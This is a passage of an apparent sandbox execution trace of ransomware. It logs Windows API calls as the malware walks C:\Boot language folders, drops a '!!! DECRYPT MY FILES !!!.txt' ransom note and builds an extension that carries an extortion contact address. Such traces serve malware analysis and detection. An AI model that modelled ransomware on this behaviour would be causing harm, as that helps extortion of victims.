len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\zh-CN\\") returned 1 [0103.169] CharLowerBuffW (in: lpsz="C:\\Boot\\zh-CN\\", cchLength=0xe | out: lpsz="c:\\boot\\zh-cn\\") returned 0xe [0103.169] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0103.169] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0103.169] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5280 [0103.170] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.170] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0103.170] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\zh-CN\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 1 [0103.170] CharLowerBuffW (in: lpsz="C:\\Boot\\zh-CN\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\zh-cn\\bootmgr.exe.mui") returned 0x1d [0103.170] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.170] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.170] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.170] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.170] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0103.171] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\zh-cn\\bootmgr.exe.mui", psz="C:\\Boot\\zh-CN\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\zh-CN\\memtest.exe.mui") returned 1 [0103.171] CharLowerBuffW (in: lpsz="C:\\Boot\\zh-CN\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\zh-cn\\memtest.exe.mui") returned 0x1d [0103.171] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.171] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.171] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.171] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.171] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0103.171] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0103.171] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc498516b, dwReserved1=0x1d32764, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d52c0 [0103.171] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0103.171] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\zh-CN\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\zh-cn\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0103.177] GetProcessHeap () returned 0x630000 [0103.177] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1418, Size=0x10) returned 0x6b1208 [0103.177] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.177] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0103.178] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0103.178] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\zh-HK\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\zh-HK\\") returned 1 [0103.178] CharLowerBuffW (in: lpsz="C:\\Boot\\zh-HK\\", cchLength=0xe | out: lpsz="c:\\boot\\zh-hk\\") returned 0xe [0103.178] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0103.178] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0103.178] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f80 [0103.178] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.178] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0103.179] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\zh-HK\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 1 [0103.179] CharLowerBuffW (in: lpsz="C:\\Boot\\zh-HK\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\zh-hk\\bootmgr.exe.mui") returned 0x1d [0103.179] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.179] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.179] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.179] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.179] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0103.179] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\zh-hk\\bootmgr.exe.mui", psz="C:\\Boot\\zh-HK\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\zh-HK\\memtest.exe.mui") returned 1 [0103.179] CharLowerBuffW (in: lpsz="C:\\Boot\\zh-HK\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\zh-hk\\memtest.exe.mui") returned 0x1d [0103.179] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.179] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.179] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.179] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.180] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0103.180] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0103.180] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc498516b, dwReserved1=0x1d32764, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4e40 [0103.180] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0103.180] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\zh-HK\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\zh-hk\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0103.276] GetProcessHeap () returned 0x630000 [0103.276] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1418 [0103.276] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.276] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0103.277] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0103.277] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\zh-TW\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\zh-TW\\") returned 1 [0103.277] CharLowerBuffW (in: lpsz="C:\\Boot\\zh-TW\\", cchLength=0xe | out: lpsz="c:\\boot\\zh-tw\\") returned 0xe [0103.277] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0103.277] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0103.277] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5280 [0103.278] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.278] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0103.278] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\zh-TW\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 1 [0103.278] CharLowerBuffW (in: lpsz="C:\\Boot\\zh-TW\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\zh-tw\\bootmgr.exe.mui") returned 0x1d [0103.279] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.279] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.279] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.279] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.279] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0103.279] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\zh-tw\\bootmgr.exe.mui", psz="C:\\Boot\\zh-TW\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\zh-TW\\memtest.exe.mui") returned 1 [0103.279] CharLowerBuffW (in: lpsz="C:\\Boot\\zh-TW\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\zh-tw\\memtest.exe.mui") returned 0x1d [0103.279] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.279] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.279] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.279] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.280] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0103.280] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0103.280] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc498516b, dwReserved1=0x1d32764, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d54c0 [0103.280] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0103.280] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\zh-TW\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\zh-tw\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0103.284] GetProcessHeap () returned 0x630000 [0103.284] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1208 [0103.284] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.284] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0103.284] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.285] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0103.285] FindNextFileW (in: hFindFile=0x6d5100, lpFindFileData=0x6ebf934 | out: lpFindFileData=0x6ebf934*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0103.285] SysReAllocStringLen (in: pbstr=0x6ebf928*="c:\\$winre_backup_partition.marker", psz="C:\\bootmgr", len=0xa | out: pbstr=0x6ebf928*="C:\\bootmgr") returned 1 [0103.285] CharLowerBuffW (in: lpsz="C:\\bootmgr", cchLength=0xa | out: lpsz="c:\\bootmgr") returned 0xa [0103.285] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe898, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.285] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe898, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.285] SysReAllocStringLen (in: pbstr=0x6ebf8c8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf8c8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.285] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", 